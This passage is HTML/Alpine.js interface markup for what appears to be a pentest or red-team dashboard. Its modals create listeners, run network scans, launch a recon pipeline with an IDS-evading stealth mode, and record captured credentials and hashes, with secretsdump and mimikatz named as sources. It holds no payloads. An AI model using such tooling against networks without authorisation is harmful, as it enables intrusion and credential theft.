<h4 class="text-sm text-sp-white-muted mb-2">Findings (<span x-text="selectedScan.parsed.findings.length"></span>)</h4>
|
||
<div class="space-y-2 max-h-48 overflow-y-auto">
|
||
<template x-for="finding in selectedScan.parsed.findings" :key="finding.raw">
|
||
<div class="flex items-start gap-2 bg-sp-black p-2 rounded text-sm">
|
||
<span :class="getSeverityBadgeClass(finding.severity)"
|
||
class="severity-badge flex-shrink-0"
|
||
x-text="finding.severity"></span>
|
||
<span class="text-sp-white-dim" x-text="finding.raw"></span>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-if="selectedScan.result && selectedScan.result.stdout">
|
||
<div>
|
||
<h4 class="text-sm text-sp-white-muted mb-2">Raw Output</h4>
|
||
<pre class="bg-sp-black p-3 rounded text-sm overflow-x-auto text-sp-white-dim max-h-96 border border-sp-grey font-mono" x-text="selectedScan.result.stdout"></pre>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Listener Modal -->
|
||
<div x-show="showListenerModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-md border border-sp-grey-mid glow-red" @click.away="showListenerModal = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">📡 Create Listener</h3>
|
||
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Listener Name</label>
|
||
<input type="text" x-model="newListener.name" placeholder="http-listener-01"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted">
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Type</label>
|
||
<select x-model="newListener.type"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="http">HTTP</option>
|
||
<option value="https">HTTPS</option>
|
||
<option value="tcp">Raw TCP</option>
|
||
<option value="smb">SMB Pipe</option>
|
||
<option value="dns">DNS</option>
|
||
</select>
|
||
</div>
|
||
<div class="grid grid-cols-2 gap-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Bind Host</label>
|
||
<input type="text" x-model="newListener.host" placeholder="0.0.0.0"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Port</label>
|
||
<input type="number" x-model="newListener.port" placeholder="8443"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="showListenerModal = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="createListener()"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!newListener.name || !newListener.port">
|
||
Create Listener
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Range Scan Modal -->
|
||
<div x-show="showRangeScanModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-md border border-sp-grey-mid glow-red" @click.away="showRangeScanModal = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">🔍 Network Range Scan</h3>
|
||
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Target Range</label>
|
||
<input type="text" x-model="rangeScanTarget"
|
||
placeholder="192.168.1.0/24 or 10.0.0.1-254"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted font-mono">
|
||
<p class="text-xs text-sp-white-muted mt-1">CIDR notation or IP range</p>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Scan Type</label>
|
||
<select x-model="rangeScanType"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="ping">Ping Sweep (Fast)</option>
|
||
<option value="quick">Quick Scan (Top 100 ports)</option>
|
||
<option value="os">OS Detection</option>
|
||
<option value="full">Full Scan (All ports + OS)</option>
|
||
</select>
|
||
</div>
|
||
|
||
<div class="bg-sp-grey/50 p-3 rounded text-xs text-sp-white-muted">
|
||
<p class="font-semibold text-sp-white mb-1">⏱️ Estimated Times (per /24):</p>
|
||
<ul class="space-y-1">
|
||
<li>• <strong class="text-green-400">Ping Sweep:</strong> ~10-30 seconds</li>
|
||
<li>• <strong class="text-blue-400">Quick Scan:</strong> ~1-3 minutes (recommended)</li>
|
||
<li>• <strong class="text-yellow-400">OS Detection:</strong> ~5-15 minutes</li>
|
||
<li>• <strong class="text-red-400">Full Scan:</strong> ~30-60+ minutes</li>
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="showRangeScanModal = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="startRangeScan()"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!rangeScanTarget">
|
||
Start Scan
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Recon Pipeline Modal -->
|
||
<div x-show="showPipelineModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-xl border border-sp-grey-mid glow-red" @click.away="showPipelineModal = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">🚀 Automated Recon Pipeline</h3>
|
||
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Target Range *</label>
|
||
<input type="text" x-model="newPipeline.target"
|
||
placeholder="192.168.1.0/24 or 10.0.0.1-254"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted font-mono">
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Pipeline Type</label>
|
||
<div class="grid grid-cols-2 gap-3">
|
||
<button @click="newPipeline.pipeline = 'quick'"
|
||
:class="newPipeline.pipeline === 'quick' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
|
||
class="p-3 rounded border text-left transition">
|
||
<div class="font-semibold text-green-400">⚡ Quick</div>
|
||
<div class="text-xs text-sp-white-muted">Host discovery + top 100 ports</div>
|
||
<div class="text-xs text-sp-white-muted mt-1">~5 min</div>
|
||
</button>
|
||
<button @click="newPipeline.pipeline = 'standard'"
|
||
:class="newPipeline.pipeline === 'standard' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
|
||
class="p-3 rounded border text-left transition">
|
||
<div class="font-semibold text-blue-400">🔍 Standard</div>
|
||
<div class="text-xs text-sp-white-muted">Top 1000 ports + service/OS detection</div>
|
||
<div class="text-xs text-sp-white-muted mt-1">~20 min</div>
|
||
</button>
|
||
<button @click="newPipeline.pipeline = 'full'"
|
||
:class="newPipeline.pipeline === 'full' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
|
||
class="p-3 rounded border text-left transition">
|
||
<div class="font-semibold text-yellow-400">🔬 Full</div>
|
||
<div class="text-xs text-sp-white-muted">All 65535 ports + full enumeration</div>
|
||
<div class="text-xs text-sp-white-muted mt-1">~60+ min</div>
|
||
</button>
|
||
<button @click="newPipeline.pipeline = 'stealth'"
|
||
:class="newPipeline.pipeline === 'stealth' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
|
||
class="p-3 rounded border text-left transition">
|
||
<div class="font-semibold text-purple-400">🥷 Stealth</div>
|
||
<div class="text-xs text-sp-white-muted">Slow, evade IDS detection</div>
|
||
<div class="text-xs text-sp-white-muted mt-1">~30 min</div>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="space-y-2">
|
||
<label class="flex items-center gap-3 cursor-pointer p-2 rounded hover:bg-sp-grey transition">
|
||
<input type="checkbox" x-model="newPipeline.include_vuln_scan"
|
||
class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
|
||
<div>
|
||
<div class="text-sp-white text-sm">Include Vulnerability Scan</div>
|
||
<div class="text-xs text-sp-white-muted">Run nmap vuln scripts (adds ~30 min)</div>
|
||
</div>
|
||
</label>
|
||
<label class="flex items-center gap-3 cursor-pointer p-2 rounded hover:bg-sp-grey transition">
|
||
<input type="checkbox" x-model="newPipeline.include_web_enum"
|
||
class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
|
||
<div>
|
||
<div class="text-sp-white text-sm">Include Web Enumeration</div>
|
||
<div class="text-xs text-sp-white-muted">Run Nikto on web servers (adds ~15 min)</div>
|
||
</div>
|
||
</label>
|
||
</div>
|
||
|
||
<!-- Active Pipelines -->
|
||
<div x-show="activePipelines.length > 0" class="bg-sp-black rounded p-3 border border-sp-grey-mid">
|
||
<h4 class="text-sm font-semibold text-sp-white mb-2">Active Pipelines</h4>
|
||
<div class="space-y-2">
|
||
<template x-for="pipeline in activePipelines" :key="pipeline.id">
|
||
<div class="flex items-center justify-between text-xs bg-sp-grey p-2 rounded">
|
||
<div>
|
||
<span class="font-mono text-sp-red" x-text="pipeline.target"></span>
|
||
<span class="text-sp-white-muted" x-text="' (' + pipeline.pipeline + ')'"></span>
|
||
</div>
|
||
<div class="flex items-center gap-2">
|
||
<div class="w-20 bg-sp-black rounded-full h-2 overflow-hidden">
|
||
<div class="bg-sp-red h-full transition-all" :style="'width: ' + pipeline.progress + '%'"></div>
|
||
</div>
|
||
<span :class="pipeline.status === 'completed' ? 'text-green-400' : 'text-yellow-400'"
|
||
x-text="pipeline.status"></span>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="showPipelineModal = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="startPipeline()"
|
||
class="flex-1 bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!newPipeline.target">
|
||
🚀 Start Pipeline
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Project Create Modal -->
|
||
<div x-show="showProjectModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid glow-red" @click.away="showProjectModal = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">📁 Create New Project</h3>
|
||
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Project Name *</label>
|
||
<input type="text" x-model="newProject.name"
|
||
placeholder="e.g., Client ABC Pentest Q1 2025"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted">
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Description</label>
|
||
<textarea x-model="newProject.description"
|
||
placeholder="Brief description of the engagement..."
|
||
rows="2"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted resize-none"></textarea>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Target Network/Range</label>
|
||
<input type="text" x-model="newProject.target_network"
|
||
placeholder="192.168.1.0/24"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted font-mono">
|
||
</div>
|
||
|
||
<div class="bg-sp-grey/30 p-3 rounded border border-sp-grey-mid">
|
||
<p class="text-xs text-sp-white-muted">
|
||
💡 All hosts, scans, credentials, and findings will be saved to this project.
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="showProjectModal = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="createProject()"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!newProject.name.trim()">
|
||
Create Project
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Project Details Slide-over -->
|
||
<div x-show="showProjectDetails && currentProject" x-transition:enter="transition ease-out duration-300"
|
||
x-transition:enter-start="opacity-0 transform translate-x-full"
|
||
x-transition:enter-end="opacity-100 transform translate-x-0"
|
||
x-transition:leave="transition ease-in duration-200"
|
||
x-transition:leave-start="opacity-100 transform translate-x-0"
|
||
x-transition:leave-end="opacity-0 transform translate-x-full"
|
||
class="fixed inset-y-0 right-0 w-96 bg-sp-dark border-l border-sp-grey-mid shadow-xl z-40 overflow-y-auto">
|
||
<div class="p-4">
|
||
<div class="flex items-center justify-between mb-4">
|
||
<h3 class="text-lg font-bold text-sp-white">📁 Project Details</h3>
|
||
<button @click="showProjectDetails = false" class="text-sp-white-muted hover:text-white">✕</button>
|
||
</div>
|
||
|
||
<template x-if="currentProject">
|
||
<div class="space-y-4">
|
||
<div>
|
||
<h4 class="text-xl font-bold text-sp-red" x-text="currentProject.name"></h4>
|
||
<p class="text-sm text-sp-white-muted" x-text="currentProject.description || 'No description'"></p>
|
||
</div>
|
||
|
||
<div class="grid grid-cols-2 gap-3 text-sm">
|
||
<div class="bg-sp-grey p-3 rounded">
|
||
<div class="text-sp-white-muted text-xs">Hosts</div>
|
||
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.hosts || []).length"></div>
|
||
</div>
|
||
<div class="bg-sp-grey p-3 rounded">
|
||
<div class="text-sp-white-muted text-xs">Credentials</div>
|
||
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.credentials || []).length"></div>
|
||
</div>
|
||
<div class="bg-sp-grey p-3 rounded">
|
||
<div class="text-sp-white-muted text-xs">Findings</div>
|
||
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.findings || []).length"></div>
|
||
</div>
|
||
<div class="bg-sp-grey p-3 rounded">
|
||
<div class="text-sp-white-muted text-xs">Notes</div>
|
||
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.notes || []).length"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="text-xs text-sp-white-muted space-y-1">
|
||
<p><span class="opacity-60">Created:</span> <span x-text="new Date(currentProject.created_at).toLocaleString()"></span></p>
|
||
<p><span class="opacity-60">Updated:</span> <span x-text="new Date(currentProject.updated_at).toLocaleString()"></span></p>
|
||
<p x-show="currentProject.target_network"><span class="opacity-60">Target:</span> <span class="font-mono" x-text="currentProject.target_network"></span></p>
|
||
</div>
|
||
|
||
<div class="pt-4 border-t border-sp-grey-mid">
|
||
<button @click="deleteProject(currentProject.id)"
|
||
class="w-full bg-red-900/30 hover:bg-red-900/50 text-red-400 px-4 py-2 rounded text-sm transition">
|
||
🗑️ Delete Project
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Credential Add Modal -->
|
||
<div x-show="showCredentialModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid" @click.away="showCredentialModal = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">🔐 Add Credential</h3>
|
||
|
||
<div class="space-y-3">
|
||
<div class="grid grid-cols-2 gap-3">
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Username *</label>
|
||
<input type="text" x-model="newCredential.username"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
|
||
</div>
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Domain</label>
|
||
<input type="text" x-model="newCredential.domain"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
|
||
</div>
|
||
</div>
|
||
|
||
<div class="grid grid-cols-2 gap-3">
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Password</label>
|
||
<input type="text" x-model="newCredential.password"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
|
||
</div>
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Hash</label>
|
||
<input type="text" x-model="newCredential.hash"
|
||
placeholder="NTLM / NTLMv2..."
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
|
||
</div>
|
||
</div>
|
||
|
||
<div class="grid grid-cols-2 gap-3">
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Host</label>
|
||
<input type="text" x-model="newCredential.host"
|
||
placeholder="192.168.1.10"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
|
||
</div>
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Service</label>
|
||
<input type="text" x-model="newCredential.service"
|
||
placeholder="SMB, SSH, RDP..."
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
|
||
</div>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Source</label>
|
||
<input type="text" x-model="newCredential.source"
|
||
placeholder="How was this obtained? (secretsdump, mimikatz, etc.)"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Notes</label>
|
||
<textarea x-model="newCredential.notes" rows="2"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white resize-none"></textarea>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="showCredentialModal = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="addCredential()"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!newCredential.username.trim()">
|
||
Add Credential
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Note Add Modal -->
|
||
<div x-show="showNoteModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid" @click.away="showNoteModal = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">📝 Add Note</h3>
|
||
|
||
<div class="space-y-3">
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Title *</label>
|
||
<input type="text" x-model="newNote.title"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
|
||
</div>
|
||
|
||
<div class="grid grid-cols-2 gap-3">
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Category</label>
|
||
<select x-model="newNote.category"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="general">General</option>
|
||
<option value="recon">Reconnaissance</option>
|
||
<option value="exploitation">Exploitation</option>
|
||
<option value="post-exploit">Post-Exploitation</option>
|
||
<option value="loot">Loot</option>
|
||
</select>
|
||
</div>
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Related Host</label>
|
||
<input type="text" x-model="newNote.host"
|
||
placeholder="192.168.1.10"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
|
||
</div>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Content *</label>
|
||
<textarea x-model="newNote.content" rows="6"
|
||
placeholder="Enter your notes here..."
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white resize-none font-mono"></textarea>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="showNoteModal = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="addNote()"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!newNote.title.trim() || !newNote.content.trim()">
|
||
Add Note
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Wizard Modal -->
|
||
<div x-show="showWizardModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg w-full max-w-2xl border border-sp-grey-mid" @click.away="showWizardModal = false">
|
||
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between">
|
||
<h3 class="text-lg font-bold text-sp-white" x-text="wizardTitle"></h3>
|
||
<button @click="showWizardModal = false" class="text-sp-white-muted hover:text-white text-xl">✕</button>
|
||
</div>
|
||
|
||
<!-- Progress Bar -->
|
||
<div class="px-6 pt-4">
|
||
<div class="flex items-center justify-between mb-2">
|
||
<span class="text-xs text-sp-white-muted">Step <span x-text="wizardStep"></span> of <span x-text="wizardSteps.length"></span></span>
|
||
<span class="text-xs text-sp-red" x-text="Math.round((wizardStep / wizardSteps.length) * 100) + '%'"></span>
|
||
</div>
|
||
<div class="h-2 bg-sp-grey rounded-full overflow-hidden">
|
||
<div class="h-full bg-sp-red transition-all duration-300" :style="'width: ' + (wizardStep / wizardSteps.length * 100) + '%'"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Step Content -->
|
||
<div class="p-6">
|
||
<template x-for="(step, idx) in wizardSteps" :key="idx">
|
||
<div x-show="wizardStep === idx + 1" class="space-y-4">
|
||
<h4 class="text-lg font-semibold text-sp-white" x-text="step.title"></h4>
|
||
<p class="text-sm text-sp-white-muted" x-text="step.description"></p>
|
||
|
||
<!-- Dynamic Fields -->
|
||
<template x-for="field in step.fields" :key="field.name">
|
||
<div class="space-y-1">
|
||
<label class="block text-sm text-sp-white-muted" x-text="field.label"></label>
|
||
<template x-if="field.type === 'text'">
|
||
<input type="text"
|
||
x-model="wizardData[field.name]"
|
||
:placeholder="field.placeholder"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
</template>
|
||
<template x-if="field.type === 'select'">
|
||
<select x-model="wizardData[field.name]"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<template x-for="opt in field.options" :key="opt.value">
|
||
<option :value="opt.value" x-text="opt.label"></option>
|
||
</template>
|
||
</select>
|
||
</template>
|
||
<template x-if="field.type === 'textarea'">
|
||
<textarea x-model="wizardData[field.name]"
|
||
:placeholder="field.placeholder"
|
||
rows="3"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red"></textarea>
|
||
</template>
|
||
<p x-show="field.help" class="text-xs text-sp-white-muted" x-text="field.help"></p>
|
||
</div>
|
||
</template>
|
||
|
||
<!-- Step Tips -->
|
||
<div x-show="step.tips" class="bg-sp-grey/50 p-3 rounded border border-sp-grey-mid">
|
||
<h5 class="text-xs font-semibold text-sp-red mb-2">💡 Tips</h5>
|
||
<ul class="text-xs text-sp-white-muted space-y-1">
|
||
<template x-for="tip in step.tips" :key="tip">
|
||
<li x-text="'• ' + tip"></li>
|
||
</template>
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
|
||
<!-- Navigation -->
|
||
<div class="p-4 border-t border-sp-grey-mid flex justify-between">
|
||
<button @click="wizardStep > 1 ? wizardStep-- : showWizardModal = false"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition"
|
||
x-text="wizardStep === 1 ? 'Cancel' : '← Back'">
|
||
</button>
|
||
<button @click="wizardStep < wizardSteps.length ? wizardStep++ : completeWizard()"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-6 py-2 rounded font-semibold transition"
|
||
x-text="wizardStep === wizardSteps.length ? '✓ Complete' : 'Next →'">
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Explain Modal -->
|
||
<div x-show="showExplainModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid" @click.away="showExplainModal = false">
|
||
<div class="flex justify-between items-center mb-4">
|
||
<h3 class="text-lg font-bold text-sp-white flex items-center gap-2">
|
||
<span>❓</span> Explanation
|
||
</h3>
|
||
<button @click="showExplainModal = false" class="text-sp-white-muted hover:text-white text-xl">✕</button>
|
||
</div>
|
||
|
||
<div x-show="explainLoading" class="text-center py-8">
|
||
<div class="typing-indicator flex gap-1 justify-center">
|
||
<span class="w-3 h-3 bg-sp-red rounded-full"></span>
|
||
<span class="w-3 h-3 bg-sp-red rounded-full"></span>
|
||
<span class="w-3 h-3 bg-sp-red rounded-full"></span>
|
||
</div>
|
||
<p class="text-sp-white-muted mt-2">Analyzing...</p>
|
||
</div>
|
||
|
||
<div x-show="!explainLoading && explainResult" class="space-y-4">
|
||
<div class="bg-sp-grey/50 p-4 rounded">
|
||
<h4 class="text-sm font-semibold text-sp-white mb-2" x-text="explainResult.title || 'Explanation'"></h4>
|
||
<div class="text-sm text-sp-white-dim" x-html="renderMarkdown(explainResult.description || '')"></div>
|
||
</div>
|
||
|
||
<template x-if="explainResult.recommendations && explainResult.recommendations.length">
|
||
<div>
|
||
<h5 class="text-sm font-semibold text-sp-red mb-2">💡 Recommendations</h5>
|
||
<ul class="space-y-2">
|
||
<template x-for="rec in explainResult.recommendations" :key="rec">
|
||
<li class="flex items-start gap-2 text-sm text-sp-white-muted">
|
||
<span class="text-green-400">✓</span>
|
||
<span x-text="rec"></span>
|
||
</li>
|
||
</template>
|
||
</ul>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-if="explainResult.warnings && explainResult.warnings.length">
|
||
<div class="bg-yellow-500/10 border border-yellow-500/30 rounded p-3">
|
||
<h5 class="text-sm font-semibold text-yellow-400 mb-2">⚠️ Warnings</h5>
|
||
<ul class="space-y-1">
|
||
<template x-for="warn in explainResult.warnings" :key="warn">
|
||
<li class="text-sm text-yellow-200" x-text="warn"></li>
|
||
</template>
|
||
</ul>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-if="explainResult.example">
|
||
<div>
|
||
<h5 class="text-sm font-semibold text-sp-white-muted mb-2">📝 Example</h5>
|
||
<pre class="bg-sp-black p-3 rounded text-sm font-mono text-green-400 overflow-x-auto" x-text="explainResult.example"></pre>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
|
||
<div class="mt-4 flex justify-end">
|
||
<button @click="showExplainModal = false"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Close
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Help Chat Panel (Slide-out) -->
|
||
<div x-show="showHelpPanel"
|
||
x-transition:enter="transition ease-out duration-300"
|
||
x-transition:enter-start="translate-x-full"
|
||
x-transition:enter-end="translate-x-0"
|
||
x-transition:leave="transition ease-in duration-200"
|
||
x-transition:leave-start="translate-x-0"
|
||
x-transition:leave-end="translate-x-full"
|
||
class="help-panel fixed right-0 top-0 h-full w-96 bg-sp-dark border-l border-sp-grey-mid z-50 flex flex-col shadow-2xl">
|
||
|
||
<!-- Header -->
|
||
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between bg-sp-grey/30">
|
||
<div class="flex items-center gap-2">
|
||
<span class="text-2xl">🤖</span>
|
||
